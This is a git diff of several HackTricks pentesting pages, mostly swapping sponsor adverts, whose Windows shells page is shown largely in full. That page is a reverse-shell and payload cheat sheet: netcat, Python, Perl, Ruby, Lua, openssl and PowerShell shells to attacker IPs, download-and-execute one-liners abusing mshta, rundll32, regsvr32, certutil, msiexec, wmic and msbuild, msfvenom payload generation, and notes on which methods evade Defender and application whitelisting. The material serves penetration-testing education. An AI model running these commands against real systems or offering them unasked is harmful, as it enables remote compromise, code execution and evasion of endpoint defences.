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36
generic-methodologies-and-resources/pentesting-wifi/README.md
View file

@ -1,7 +1,5 @@
# Pentesting Wifi
## Pentesting Wifi
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -14,10 +12,14 @@
</details>
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
{% embed url="https://go.intigriti.com/hacktricks" %}
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Wifi basic commands
@ -297,10 +299,16 @@ So broken and disappeared that I am not going to talk about it. Just know that _
![](<../../.gitbook/assets/image (125).png>)
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## WPA/WPA2 PSK
@ -800,10 +808,16 @@ This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group o
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>

237
generic-methodologies-and-resources/shells/windows.md
View file

@ -1,65 +1,73 @@
# Shells - Windows
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
​
The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.
Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be \(ab\)used to perform some kind of unexpected actions like **execute arbitrary code.**
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
# NC
​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Lolbas
The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\
Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.**
## NC
```bash
nc.exe -e cmd.exe <Attacker_IP> <PORT>
```
# SBD
## SBD
**sbd** is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption \(by Christophe Devine\), program execution \(-e option\), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe \(part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe\) can be uploaded to a Windows box as a Netcat alternative.
**sbd** is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe) can be uploaded to a Windows box as a Netcat alternative.
# Python
## Python
```bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
# Perl
## Perl
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
# Ruby
## Ruby
```bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
# Lua
## Lua
```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
# OpenSSH
## OpenSSH
Attacker \(Kali\)
Attacker (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
@ -77,7 +85,7 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
# Powershell
## Powershell
```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
@ -86,14 +94,14 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Process performing network call: **powershell.exe**
Payload written on disk: **NO** \(_at least nowhere I could find using procmon !_\)
Process performing network call: **powershell.exe**\
Payload written on disk: **NO** (_at least nowhere I could find using procmon !_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
Process performing network call: **svchost.exe**
Process performing network call: **svchost.exe**\
Payload written on disk: **WebDAV client local cache**
**One liner:**
@ -104,30 +112,30 @@ $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $c
**Get more info about different Powershell Shells at the end of this document**
# Mshta
## Mshta
```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
Process performing network call: **mshta.exe**
Process performing network call: **mshta.exe**\
Payload written on disk: **IE local cache**
```bash
mshta http://webserver/payload.hta
```
Process performing network call: **mshta.exe**
Process performing network call: **mshta.exe**\
Payload written on disk: **IE local cache**
```bash
mshta \\webdavserver\folder\payload.hta
```
Process performing network call: **svchost.exe**
Process performing network call: **svchost.exe**\
Payload written on disk: **WebDAV client local cache**
### **Example of hta-psh reverse shell \(use hta to download and execute PS backdoor\)**
#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)**
```markup
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
@ -135,7 +143,7 @@ Payload written on disk: **WebDAV client local cache**
**You can download & execute very easily a Koadic zombie using the stager hta**
### hta example
#### hta example
```markup
<html>
@ -154,7 +162,7 @@ Payload written on disk: **WebDAV client local cache**
**Extracted from** [**here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
### **mshta - sct**
#### **mshta - sct**
```markup
<?XML version="1.0"?>
@ -174,7 +182,7 @@ Payload written on disk: **WebDAV client local cache**
**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
### **Mshta - Metasploit**
#### **Mshta - Metasploit**
```bash
use exploit/windows/misc/hta_server
@ -189,7 +197,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
**Detected by defender**
# **Rundll32**
## **Rundll32**
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
@ -197,14 +205,14 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
Process performing network call: **svchost.exe**
Process performing network call: **svchost.exe**\
Payload written on disk: **WebDAV client local cache**
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
Process performing network call: **rundll32.exe**
Process performing network call: **rundll32.exe**\
Payload written on disk: **IE local cache**
**Detected by defender**
@ -228,7 +236,7 @@ Payload written on disk: **IE local cache**
**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
### **Rundll32 - Metasploit**
#### **Rundll32 - Metasploit**
```bash
use windows/smb/smb_delivery
@ -247,25 +255,25 @@ run
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
```
# Regsvr32
## Regsvr32
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
Process performing network call: **regsvr32.exe**
Process performing network call: **regsvr32.exe**\
Payload written on disk: **IE local cache**
```text
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
Process performing network call: **svchost.exe**
Process performing network call: **svchost.exe**\
Payload written on disk: **WebDAV client local cache**
**Detected by defender**
### Regsvr32 -sct
#### Regsvr32 -sct
```markup
<?XML version="1.0"?>
@ -286,7 +294,7 @@ Payload written on disk: **WebDAV client local cache**
**Extracted from** [**here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
### **Regsvr32 - Metasploit**
#### **Regsvr32 - Metasploit**
```bash
use multi/script/web_delivery
@ -299,7 +307,7 @@ run
**You can download & execute very easily a Koadic zombie using the stager regsvr**
# Certutil
## Certutil
Download a B64dll, decode it and execute it.
@ -315,7 +323,18 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
**Detected by defender**
# **Cscript/Wscript**
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
****This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## **Cscript/Wscript**
```bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
@ -329,13 +348,13 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
**Detected by defender**
# PS-Bat
## PS-Bat
```bash
\\webdavserver\folder\batchfile.bat
```
Process performing network call: **svchost.exe**
Process performing network call: **svchost.exe**\
Payload written on disk: **WebDAV client local cache**
```bash
@ -349,35 +368,35 @@ impacket-smbserver -smb2support kali `pwd`
**Detected by defender**
# **MSIExec**
## **MSIExec**
Attacker
```text
```
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
Victim:
```text
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
**Detected**
# **Wmic**
## **Wmic**
```text
```
wmic os get /format:"https://webserver/payload.xsl"
```
Process performing network call: **wmic.exe**
Process performing network call: **wmic.exe**\
Payload written on disk: **IE local cache**
Example xsl file:
```text
```
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
@ -395,101 +414,101 @@ Extracted from [here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd07
**You can download & execute very easily a Koadic zombie using the stager wmic**
# Msbuild
## Msbuild
```text
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Process performing network call: **svchost.exe**
Process performing network call: **svchost.exe**\
Payload written on disk: **WebDAV client local cache**
You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.
You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\
Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```text
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
**Not detected**
# **CSC**
## **CSC**
Compile C\# code in the victim machine.
Compile C# code in the victim machine.
```text
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
You can download a basic C\# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Not deteted**
# **Regasm/Regsvc**
## **Regasm/Regsvc**
```text
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
Process performing network call: **svchost.exe**
Process performing network call: **svchost.exe**\
Payload written on disk: **WebDAV client local cache**
**I haven't tried it**
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
# Odbcconf
## Odbcconf
```text
```
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
Process performing network call: **svchost.exe**
Process performing network call: **svchost.exe**\
Payload written on disk: **WebDAV client local cache**
**I haven't tried it**
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
# Powershell Shells
## Powershell Shells
## PS-Nishang
### PS-Nishang
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file:
```text
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Start serving the script in a web server and execute it on the victim's end:
```text
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender doesn't detect it as malicious code \(yet, 3/04/2019\).
Defender doesn't detect it as malicious code (yet, 3/04/2019).
**TODO: Check other nishang shells**
## **PS-Powercat**
### **PS-Powercat**
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Download, start a web server, start the listener, and execute it on the victim's end:
```text
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender doesn't detect it as malicious code \(yet, 3/04/2019\).
Defender doesn't detect it as malicious code (yet, 3/04/2019).
**Other options offered by powercat:**
Bind shells, Reverse shell \(TCP, UDP, DNS\), Port redirect, upload/download, Generate payloads, Serve files...
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
```text
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
@ -506,78 +525,76 @@ Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
```
## Empire
### Empire
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Create a powershell launcher, save it in a file and download and execute it.
```text
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Detected as malicious code**
## MSF-Unicorn
### MSF-Unicorn
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Create a powershell version of metasploit backdoor using unicorn
```text
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
Start msfconsole with the created resource:
```text
```
msfconsole -r unicorn.rc
```
Start a web server serving the _powershell\_attack.txt_ file and execute in the victim:
```text
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**Detected as malicious code**
# More
## More
[PS&gt;Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded \(cyphered\)
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection \(IEX\)
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX)
# Bibliography
## Bibliography
{% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" caption="" %}
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
* [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
{% embed url="https://gist.github.com/Arno0x" caption="" %}
​
{% embed url="https://github.com/GreatSCT/GreatSCT" caption="" %}
{% embed url="https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/" caption="" %}
{% embed url="https://www.hackingarticles.in/koadic-com-command-control-framework/" caption="" %}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" caption="" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

48
linux-hardening/linux-privilege-escalation-checklist.md
View file

@ -4,18 +4,23 @@
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**​
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
****This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
